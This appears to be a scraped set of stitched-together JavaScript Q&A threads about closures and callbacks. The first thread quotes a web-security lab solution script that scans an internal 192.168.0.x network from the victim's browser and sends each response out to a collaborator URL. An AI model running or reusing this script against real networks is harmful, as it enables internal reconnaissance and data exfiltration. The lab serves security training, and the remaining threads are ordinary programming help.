I was looking at the solution of the Cors Lab (https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack) and wanted to understand the code, but I am not very familiar with javascript, and despite trying searching a lot I didn't come up with an answer.
The snippet is this:
var q = [],
collaboratorURL = 'http://$collaboratorPayload';
for (i = 1; i <= 255; i++) {
q.push(
function(url) {
return function(wait) {
fetchUrl(url, wait);
}
}('http://192.168.0.' + i + ':8080'));
}
for (i = 1; i <= 20; i++) {
if (q.length) q.shift()(i * 100);
}
function fetchUrl(url, wait) {
var controller = new AbortController(),
signal = controller.signal;
fetch(url, {
signal
}).then(r => r.text().then(text => {
location = collaboratorURL + '?ip=' + url.replace(/^http:\/\//, '') + '&code=' + encodeURIComponent(text) + '&' + Date.now()
}))
.catch(e => {
if (q.length) {
q.shift()(wait);
}
});
setTimeout(x => {
controller.abort();
if (q.length) {
q.shift()(wait);
}
}, wait);
}
What I am having problems with is the following:
for(i=1;i<=255;i++){
q.push(
function(url){
return function(wait){
fetchUrl(url,wait);
}
}('http://192.168.0.'+i+':8080'));
}
At a high level I understand what they are trying to do but inside this for loop, I cannot understand what the function passed to the push does, and how does
('http://192.168.0.'+i+':8080')
links to the push function.
Essentially they declare and call an anonymous function, which then returns another anonymous function, which gets pushed onto the array.
So, it could also be written like this:
function urlToFunc(url) {
return function(wait) { fetchUrl(url, wait); }
}
// later on
q.push(urlToFunc('http://192.168.0.'+i+':8080'));
.push simply adds the function returned by that funcion to the array q.
Another way to write it, which is less confusing imo, is like so:
q.push((wait)=>{ fetchUrl('http://192.168.0.'+i+':8080', wait); });
What that snippet does is it pushes a function that, when invoked, calls fetchUrl with two arguments:
The URL, which is the 'http://192.168.0.'+i+':8080' (passed into the IIFE - the immediately invoked function expression, which calls the inner function immediately, with a url of 'http://192.168.0.'+i+':8080')
The wait, which is the argument the array item is called with later (like in q.shift()(wait);)
It's a confusing piece of code though. Since ES6 syntax is being used, it would make far more sense simply to declare i with let in the for loop. Then, every function pushed to the array can simply reference i instead of requiring an IIFE:
for (let i = 1; i <= 255; i++) {
q.push(
function(wait) {
fetchUrl('http://192.168.0.' + i + ':8080', wait);
}
);
}
This is equivalent to the original snippet.
I have click event which calls FireCallBackEvents and from there I pass the array of function which all are callback. Now I want to call function b() after function a() which gives the result of callback I call through setTimeout(). I expect that it will delay in giving result.
Now in below code alert of first function callback is called after function b and c is called.
This is only a sample of my real code.
function FireCallBackEvents(){
generalizeCallBack([a,b,c]);
}
function a(parameter1, parameter2,callback){
alert("Hello World: " + parameter1 + " : " + parameter2);
setTimeout(function(){callback("12")},600);
}
function b(parameter1, parameter2,callback){
alert("Hello World1: " + parameter1 + " : " + parameter2);
callback("123");
}
function c(parameter1, parameter2, callback){
alert("Hello World2: " + parameter1 + " : " + parameter2);
callback("1234");
}
function generalizeCallBack(arrayOfFunctions){
for(var i = 0; i < arrayOfFunctions.length; i++){
arrayOfFunctions[i]("1","2",function(we){
alert(we);
});
}
}
You could use this variant of your last function, which calls it recursively from the callback function you pass:
function generalizeCallBack(arrayOfFunctions){
if (!arrayOfFunctions.length) return; // nothing to do
var func = arrayOfFunctions.shift(); // extract function to execute
func("1","2", function(we){
alert(we);
generalizeCallBack(arrayOfFunctions); // recurse with shorter array
});
}
Note that this changes the array you pass. If you prefer that the callers keep their array in tact, use slice and not shift:
function generalizeCallBack(arrayOfFunctions){
if (!arrayOfFunctions.length) return; // nothing to do
var func = arrayOfFunctions[0]; // get function to execute
func("1","2", function(we){
alert(we);
generalizeCallBack(arrayOfFunctions.slice(1)); // recurse with shorter array
});
}
Since this version takes an array copy at every (recursive) call, we could make it more efficient by only doing that the first time (as suggested by #Alnitak):
function generalizeCallBack(arrayOfFunctions){
function recurse (arrayOfFunctions) {
if (!arrayOfFunctions.length) return; // nothing to do
var func = arrayOfFunctions.shift(); // extract first function
func("1","2", function(we){
alert(we);
recurse(arrayOfFunctions); // recurse with shorter array
});
}
// take copy (slice) of array in order not to alter the caller's array:
recurse(arrayOfFunctions.slice(0));
}
This way only one copy is taken of the array. The recursive part works on that same copy, making it shorter as it goes down the recursion chain.
This is the same, but written as an immediately invoked function expression:
function generalizeCallBack(arrayOfFunctions){
(function recurse (arrayOfFunctions) {
if (!arrayOfFunctions.length) return; // nothing to do
var func = arrayOfFunctions.shift(); // extract first function
func("1","2", function(we){
alert(we);
recurse(arrayOfFunctions); // recurse with shorter array
});
// take copy (slice) of array in order not to alter the caller's array:
}(arrayOfFunctions.slice(0)));
}
You should not call your array of functions within a loop in your generalizeCallBack function. It wouldn't help you delaying later functions (function b and c) from being executed based on the result of an early function (function a) which calls setTimeout.
The setTimeout function will only be executed when the browser gets next breathing space. That is right after your function loop.
The solution is to let your function a return a promise and execute other functions (b and c) when the promise is successful.
I got some methods (methA, methB ...) that need to call the same method methMain in Javascript. This method methMain then need to fetch some data and when it is done do a callback to the method that called it (methA or MethB ...).
I can successfully create a pointer/reference to a method by using what is written here: How can I pass a reference to a function, with parameters?
That solution, and all others I have seen, does not seem to work in the current scope.
This code will not work:
function TestStructure() {
this.gotData = false;
//define functions
this.methA = function (parA) { };
this.methB = function (parb) { };
this.createFunctionPointer = function (func) { };
this.createFunctionPointer = function (func /*, 0..n args */) {
var args = Array.prototype.slice.call(arguments, 1);
return function () {
var allArguments = args.concat(Array.prototype.slice.call(arguments));
return func.apply(this, allArguments);
};
};
this.methA = function (parA) {
alert('gotData: ' + this.gotData + ', parA: ' + parA);
if (this.gotData == false) {
var fp = this.createFunctionPointer(this.methA, parA);
this.methMain(fp);
return;
}
//...do stuff with data
}
this.methB = function (parB) {
alert('gotData: ' + this.gotData + ', parB: ' + parB);
if (this.gotData == false) {
var fp = this.createFunctionPointer(this.methB, parB);
this.methMain(fp);
return;
}
//...do stuff with data
}
this.methMain = function (func) {
//...get some data with ajax
this.gotData = true;
//callback to function passed in as parameter
func();
}
}
var t = new TestStructure();
t.methA('test');
When methMain do a callback to func (methA or methB) the variable this.gotData will not be set.
Is there a solution for this problem or do I need to re-think the design?
I want to do this to get data with ajax without blocking with async: false.
I am not 100% sure but I think you can solve your problem by doing
this.createFunctionPointer = function (func /*, 0..n args */) {
var args = Array.prototype.slice.call(arguments, 1);
var that = this; //<<< here
return function () {
var allArguments = args.concat(Array.prototype.slice.call(arguments));
return func.apply(that, allArguments);
//here ^^^
};
};
This will cause your partially evaluated function to be called with the same this that created the function pointer. If you want a different scope just change whatever you pass to .apply.
I'm trying to pass some parameter to a function used as callback, how can I do that?
This is my try:
function tryMe(param1, param2) {
alert(param1 + " and " + param2);
}
function callbackTester(callback, param1, param2) {
callback(param1, param2);
}
callbackTester(tryMe, "hello", "goodbye");
If you want something slightly more general, you can use the arguments variable like so:
function tryMe(param1, param2) {
alert(param1 + " and " + param2);
}
function callbackTester(callback) {
callback(arguments[1], arguments[2]);
}
callbackTester(tryMe, "hello", "goodbye");
But otherwise, your example works fine (arguments[0] can be used in place of callback in the tester)
This would also work:
// callback function
function tryMe(param1, param2) {
alert(param1 + " and " + param2);
}
// callback executer
function callbackTester(callback) {
callback();
}
// test function
callbackTester(function() {
tryMe("hello", "goodbye");
});
Another Scenario :
// callback function
function tryMe(param1, param2, param3) {
alert(param1 + " and " + param2 + " " + param3);
}
// callback executer
function callbackTester(callback) {
//this is the more obivous scenario as we use callback function
//only when we have some missing value
//get this data from ajax or compute
var extraParam = "this data was missing";
//call the callback when we have the data
callback(extraParam);
}
// test function
callbackTester(function(k) {
tryMe("hello", "goodbye", k);
});
Your question is unclear. If you're asking how you can do this in a simpler way, you should take a look at the ECMAScript 5th edition method .bind(), which is a member of Function.prototype. Using it, you can do something like this:
function tryMe (param1, param2) {
alert (param1 + " and " + param2);
}
function callbackTester (callback) {
callback();
}
callbackTester(tryMe.bind(null, "hello", "goodbye"));
You can also use the following code, which adds the method if it isn't available in the current browser:
// From Prototype.js
if (!Function.prototype.bind) { // check if native implementation available
Function.prototype.bind = function(){
var fn = this, args = Array.prototype.slice.call(arguments),
object = args.shift();
return function(){
return fn.apply(object,
args.concat(Array.prototype.slice.call(arguments)));
};
};
}
Example
bind() - PrototypeJS Documentation
If you are not sure how many parameters are you going to be passed into callback functions, use apply function.
function tryMe (param1, param2) {
alert (param1 + " and " + param2);
}
function callbackTester(callback,params){
callback.apply(this,params);
}
callbackTester(tryMe,['hello','goodbye']);
When you have a callback that will be called by something other than your code with a specific number of params and you want to pass in additional params you can pass a wrapper function as the callback and inside the wrapper pass the additional param(s).
function login(accessedViaPopup) {
//pass FB.login a call back function wrapper that will accept the
//response param and then call my "real" callback with the additional param
FB.login(function(response){
fb_login_callback(response,accessedViaPopup);
});
}
//handles respone from fb login call
function fb_login_callback(response, accessedViaPopup) {
//do stuff
}
Wrap the 'child' function(s) being passed as/with arguments within function wrappers to prevent them being evaluated when the 'parent' function is called.
function outcome(){
return false;
}
function process(callbackSuccess, callbackFailure){
if ( outcome() )
callbackSuccess();
else
callbackFailure();
}
process(function(){alert("OKAY");},function(){alert("OOPS");})
Code from a question with any number of parameters and a callback context:
function SomeFunction(name) {
this.name = name;
}
function tryMe(param1, param2) {
console.log(this.name + ": " + param1 + " and " + param2);
}
function tryMeMore(param1, param2, param3) {
console.log(this.name + ": " + param1 + " and " + param2 + " and even " + param3);
}
function callbackTester(callback, callbackContext) {
callback.apply(callbackContext, Array.prototype.splice.call(arguments, 2));
}
callbackTester(tryMe, new SomeFunction("context1"), "hello", "goodbye");
callbackTester(tryMeMore, new SomeFunction("context2"), "hello", "goodbye", "hasta la vista");
// context1: hello and goodbye
// context2: hello and goodbye and even hasta la vista
Use curried function as in this simple example.
const BTN = document.querySelector('button')
const RES = document.querySelector('p')
const changeText = newText => () => {
RES.textContent = newText
}
BTN.addEventListener('click', changeText('Clicked!'))
<button>ClickMe</button>
<p>Not clicked<p>
Faced this recently, to get it(especially if the parent function has multiple arguments doing different stuffs not related to the callback , is to have the callback placed with its argument in an arrow function passed as an argument.
function tryMe(param1, param2) {
alert(param1 + " and " + param2);
}
function callbackTester(callback, someArg, AnotherArg) {
callback();
}
callbackTester(()=> tryMe("hello", "goodbye"), "someArg", "AnotherArg");
...or simply if you dont have multiple arguments doing other stuff.
function tryMe(param1, param2) {
alert(param1 + " and " + param2);
}
function callbackTester(callback) {
callback();
}
callbackTester(()=> tryMe("hello", "goodbye"));
A new version for the scenario where the callback will be called by some other function, not your own code, and you want to add additional parameters.
For example, let's pretend that you have a lot of nested calls with success and error callbacks. I will use angular promises for this example but any javascript code with callbacks would be the same for the purpose.
someObject.doSomething(param1, function(result1) {
console.log("Got result from doSomething: " + result1);
result.doSomethingElse(param2, function(result2) {
console.log("Got result from doSomethingElse: " + result2);
}, function(error2) {
console.log("Got error from doSomethingElse: " + error2);
});
}, function(error1) {
console.log("Got error from doSomething: " + error1);
});
Now you may want to unclutter your code by defining a function to log errors, keeping the origin of the error for debugging purposes. This is how you would proceed to refactor your code:
someObject.doSomething(param1, function (result1) {
console.log("Got result from doSomething: " + result1);
result.doSomethingElse(param2, function (result2) {
console.log("Got result from doSomethingElse: " + result2);
}, handleError.bind(null, "doSomethingElse"));
}, handleError.bind(null, "doSomething"));
/*
* Log errors, capturing the error of a callback and prepending an id
*/
var handleError = function (id, error) {
var id = id || "";
console.log("Got error from " + id + ": " + error);
};
The calling function will still add the error parameter after your callback function parameters.
Let me give you a very plain Node.js style example of using a callback:
/**
* Function expects these arguments:
* 2 numbers and a callback function(err, result)
*/
var myTest = function(arg1, arg2, callback) {
if (typeof arg1 !== "number") {
return callback('Arg 1 is not a number!', null); // Args: 1)Error, 2)No result
}
if (typeof arg2 !== "number") {
return callback('Arg 2 is not a number!', null); // Args: 1)Error, 2)No result
}
if (arg1 === arg2) {
// Do somethign complex here..
callback(null, 'Actions ended, arg1 was equal to arg2'); // Args: 1)No error, 2)Result
} else if (arg1 > arg2) {
// Do somethign complex here..
callback(null, 'Actions ended, arg1 was > from arg2'); // Args: 1)No error, 2)Result
} else {
// Do somethign else complex here..
callback(null, 'Actions ended, arg1 was < from arg2'); // Args: 1)No error, 2)Result
}
};
/**
* Call it this way:
* Third argument is an anonymous function with 2 args for error and result
*/
myTest(3, 6, function(err, result) {
var resultElement = document.getElementById("my_result");
if (err) {
resultElement.innerHTML = 'Error! ' + err;
resultElement.style.color = "red";
//throw err; // if you want
} else {
resultElement.innerHTML = 'Result: ' + result;
resultElement.style.color = "green";
}
});
and the HTML that will render the result:
<div id="my_result">
Result will come here!
</div>
You can play with it here: https://jsfiddle.net/q8gnvcts/ - for example try to pass string instead of number: myTest('some string', 6, function(err, result).. and see the result.
I hope this example helps because it represents the very basic idea of callback functions.
function tryMe(param1, param2) {
console.log(param1 + " and " + param2);
}
function tryMe2(param1) {
console.log(param1);
}
function callbackTester(callback, ...params) {
callback(...params);
}
callbackTester(tryMe, "hello", "goodbye");
callbackTester(tryMe2, "hello");
read more about the spread syntax
I'm trying to pass some parameter to a function used as callback, how can I do that?
I think he is implying that he wants to call the function this callbackTester(tryMe, "hello", "goodbye"). To do this we can use the Rest Operator (...). This operator takes the arguments that a function receives and dumps them into a real array that we will use to access in our callback function.
Now, some other developers might also argue that we could use the arguments "array". That will be fine, but we should be careful with it. arguments is not a real array but an array-like object with a length property.
Here is a working snippet using the Rest Operator:
function tryMe(params) {
console.log(params.join(', '));
}
function callbackTester(callback, ...params) {
callback(params);
}
callbackTester(tryMe, 'hello', 'goodbye', 'hi again');
callbackTester(tryMe, 'hello', 'goodbye');
callbackTester(tryMe, 'hello');
Just use the bind() function which is primarily used to set the this value. However, we can also use it to pass parameters without calling the function due to bind() returning a new function with the sequence of arguments provided.
Example:
function foo(param1, param2, param3) {
console.log(param1, param2, param3);
}
setTimeout(foo.bind(null, 'foo', 'bar', 'baz'), 1000);
In the snippet above, the setTimeout function takes 2 arguments, the callback function and a minimum time in ms for the function to be called, so when passing the callback function we're going to use bind and specify the parameters
Note: The first parameter of bind is the value that we want to set for this, and because we're not interested on that, null was passed, the subsequent parameters in bind are going to be the parameters for the callback.
I was looking for the same thing and end up with the solution and here it's a simple example if anybody wants to go through this.
var FA = function(data){
console.log("IN A:"+data)
FC(data,"LastName");
};
var FC = function(data,d2){
console.log("IN C:"+data,d2)
};
var FB = function(data){
console.log("IN B:"+data);
FA(data)
};
FB('FirstName')
Also posted on the other question here
//Suppose function not taking any parameter means just add the GetAlterConfirmation(function(result) {});
GetAlterConfirmation('test','messageText',function(result) {
alert(result);
}); //Function into document load or any other click event.
function GetAlterConfirmation(titleText, messageText, _callback){
bootbox.confirm({
title: titleText,
message: messageText,
buttons: {
cancel: {
label: '<i class="fa fa-times"></i> Cancel'
},
confirm: {
label: '<i class="fa fa-check"></i> Confirm'
}
},
callback: function (result) {
return _callback(result);
}
});